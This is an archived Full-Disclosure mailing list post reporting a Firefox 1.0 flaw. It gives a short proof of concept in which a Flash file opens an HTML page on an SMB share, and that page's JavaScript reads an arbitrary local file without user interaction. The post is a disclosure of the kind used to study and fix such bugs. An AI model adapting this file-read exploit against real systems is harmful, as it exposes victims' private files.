full-disclosure - Fireflashing [Firefox 1.0]

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Message-ID: <420E11DA.4030807@planet.nl>
From: jkuperus at planet.nl (Jelmer Kuperus)
Subject: Fireflashing [Firefox 1.0]

I took a quick 5 minute look at this, and it looks like you can read 
arbitrary files with this without requiring any kind of user interaction.

Just create a file called whatever.html on a windows SMB share with this 
content

--snip--

<script language="javascript">
    var oXML=new XMLHttpRequest();
    oXML.open("GET","file:///C:/jelmer.txt",false);
    oXML.send(null);
    alert(oXML.responseText);
</script>

--snip--

Now create a flash file that opens file://///SOME_IP/SHARENAME/whatever.html
(I just created an empty flash file with a single action that contained 
the following line of actionscript : getURL 
("file://///SOME_IP/SHARENAME/whatever.html", "_self"); )
and presto it will display the contents of c:\jelmer.txt